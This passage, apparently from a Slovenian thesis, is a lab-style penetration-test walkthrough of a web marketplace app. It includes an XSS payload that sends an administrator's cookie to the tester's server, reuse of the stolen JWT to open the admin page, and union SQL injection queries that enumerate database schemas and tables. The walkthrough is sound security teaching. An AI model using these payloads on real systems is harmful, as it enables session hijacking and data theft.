Naˇso pozornost takoj pritegne moˇznost za dodajanje slike, ki pa je ˇzal zaradi varnostnih teˇzav onemogoˇcena. Na ta naˇcin je pri slabo varnostno konfiguriranih aplikacijah velikokrat moˇzna izvedba nevarne kode, ki jo zapa- kiramo v datoteko PNG ali JPEG. V brskalniku v naˇcinu Inspect omogoˇcimo
<input type=”file”>in izberemo datoteko, ki jo ˇzelimo prenesti na streˇznik
(slika 4.15).
Preden pa potrdimo novo objavo, v orodju Burp Suite omogoˇcimo proxy, ki prestreˇze zahtevo, preden jo brskalnik posreduje streˇzniku (slika 4.16).
Na ta naˇcin lahko pogledamo, ali se naloˇzena datoteka sploh posreduje kot parameter v zahtevi.
Slika 4.14: Stran za dodajanje nove objave
Slika 4.15: Stran za dodajanje nove objave z omogoˇcenim nalaganjem slike
Sodeˇc po prestreˇzeni zahtevi (slika 4.16) je mogoˇce opaziti, da se slika v zahtevi ne posreduje. Slike torej ni mogoˇce naloˇziti in treba bo poskusiti kako
Slika 4.16: Prestreˇzena zahteva v orodju Burp Suite
drugaˇce. Spomnimo se, da lahko objavo prijavimo skrbniku, in ˇce lahko kako izvedemo napad XSS, potem lahko dobimo skrbnikov ˇzeton in mu ukrademo sejo. Poglejmo najprej, ali lahko izvedemo napad XSS. To storimo tako, da v besedilni element z imenom “Title”vpiˇsemo naslednjo kodo:
1 <s c r i p t> a l e r t (" u s p e s e n n a p a d XSS ") < /s c r i p t>
Razlaga zgornje kode HTML je sledeˇca: V html element za vnos besedila vnesemo kodo s script elementom, kar pomeni, da ˇce streˇznik kode ne bo preveril, oˇcistil in odstranil nevarnih elementov, potem je aplikacija ranljiva za napad XSS in se nam bo, ˇce odpremo to objavo, v brskalniku prikazalo opozorilo z besedilom “uspesen napad XSS”.
Ko potrdimo novo objavo, preverimo, ali sem nam izpiˇse opozorilo, tako da odpremo seznam vseh objav (slika 4.17).
Slika 4.17: Izpis opozorila na seznamu vseh objav
Ugotovili smo, da je obrazec za dodajanje objave ranljiv za napad XSS.
Od prej se spomnimo, da je moˇzno objavo prijaviti skrbniku. Verjetno je to- rej, da bo skrbnik objavo pregledal, ampak ko se mu bo objava odprla, lahko to izkoristimo, da mu ukrademo ˇzeton in poslediˇcno njegovo sejo. Podobno kot prej pri dodajanju nove objave v element “Title” vpiˇsemo kodo, vendar tokrat malo drugaˇcno:
1 <s c r i p t> d o c u m e n t . w r i t e ( ’ <img src=" h t t p : / / 1 0 . 8 . 1 3 . 2 2 9 : 8 0 0 0 / ? c o o k i e = ’ + d o c u m e n t . c o o k i e + ’ " / > ’) < /s c r i p t>
Razlaga zgornje kode HTML je sledeˇca: Na tej toˇcki ˇze vemo, da je aplikacija ranljiva za napad XSS, in bomo to izkoristili za pridobitev vrednosti piˇskotka privilegiranega uporabnika. Ko se bo skrbniku odprla stran z naˇso kodo, se bo povezal z naˇsim streˇznikom in nam posredoval vrednost svojega piˇskotka.
Ko dodamo novo objavo, jo prijavimo skrbniku in poˇcakamo na povezavo (slika 4.18).
Slika 4.18: Prijava objave skrbniku
Zdaj poˇcakamo nekaj ˇcasa, in ko naˇs streˇznik prejme zahtevo, vidimo, da smo uspeˇsno pridobili piˇskotek (slika 4.19).
Slika 4.19: Uspeˇsen napad XSS in pridobitev ˇzetona privilegiranega uporabnika
Po tem, ko smo pridobili ˇzeton, nas zanima, ali lahko izvemo ˇse kaj veˇc kot le to, da pripada privilegiranemu uporabniku. Zato odpremo spletno stran za dekodiranje ˇzetonov2 in v besedilno polje skopiramo pridobljeni ˇzeton (slika 4.20).
S slike 4.20 je razvidno, da ˇzeton pripada uporabniku z uporabniˇskim imenom michael in z identifikatorsko ˇstevilko 2 in da je ta uporabnik admini- strator. Zdaj, ko imamo veˇc informacij, ˇzeton shranimo v brskalnik namesto trenutnega ˇzetona in odpremo spletno stran /admin (slika 4.21).
Odpre se nam spletna stran s seznamom vseh uporabnikov. Izberemo prvega uporabnika in odpre se nam nova stran s podrobnostmi uporab- nika. V naslovu URL opazimo, da se v poizvedbi na streˇznik posreduje tudi “user”(slika 4.22).
Poskusimo, ali je stran ranljiva za vrivanje ukaza union (angl. Union SQL injection) (slika 4.23). Vrednost parametra user zamenjamo s poizvedbo:
2https://jwt.io/
Slika 4.20: Dekodiran ˇzeton privilegiranega uporabnika
Slika 4.21: Spletna stran za privilegirane uporabnike
Slika 4.22: Naslov URL poizvedbe, kjer se posreduje tudi parameter “user”
1 u s e r =1 ’ OR 1=1 - -
S slike 4.23 je razvidno, da streˇznik javi napako o napaˇcni poizvedbi SQL.
To pa je za nas odliˇcna novica, saj tako vidimo, da je stran ranljiva za vrivanje zlonamerne kode, in sicer vrivanje ukaza union.
Po nekaj neuspeˇsnih poskusih napada ugotovimo, kakˇsno strukturo mora
Slika 4.23: Streˇznik javi napako ob poskusu vrivanja zlonamerne kode SQL
imeti poizvedba, da bo napad uspeˇsen. V vrednosti parametra uporabimo ˇstevilo 0 namesto 1 in ne potrebujemo znakov ’ in --. Prva uspeˇsna poi- zvedba, ki nam razkrije ˇstevilo parametrov, ki jih dobimo iz baze, je:
1 u s e r =0 U N I O N S E L E C T NULL , NULL , NULL , N U L L
Omenjena zahteva oz. poizvedba javi napako, ˇce je ˇstevilo parametrov, ki se vrnejo iz baze, razliˇcno od ˇstevila parametrov NULL v poizvedbi SQL.
To razkrije, da se iz baze po poizvedbi vrnejo ˇstirje parametri, ki jih lahko manipuliramo, da iz baze dobimo podatke, ki jih potrebujemo. Preden pa lahko pridobimo kakrˇsne koli podatke, moramo ugotoviti, kakˇsna je struktura podatkovne baze, ki jo napadamo (slika 4.24).
Najprej nas zanima, kakˇsne sheme uporablja baza. To storimo z naslednjo poizvedbo:
1 u s e r =0 U N I O N S E L E C T NULL , G R O U P _ C O N C A T ( s c h e m a _ n a m e ) , NULL , N U L L F R O M i n f o r m a t i o n _ s c h e m a . s c h e m a t a
Zgornja poizvedba vrne v drugem parametru zlepljene vse sheme, ki sesta- vljajo podatkovno bazo.
Vidimo, da se kot rezultat poizvedbe vrneta dve vrednosti, in sicer infor- mation schema in marketplace. Za nas bo zanimiva shema marketplace.
V naslednjem koraku nas bo zanimalo, iz kakˇsnih tabel je sestavljena shema marketplace (slika 4.25).
1 u s e r =0 U N I O N S E L E C T NULL , G R O U P _ C O N C A T ( t a b l e _ n a m e ) , NULL , N U L L
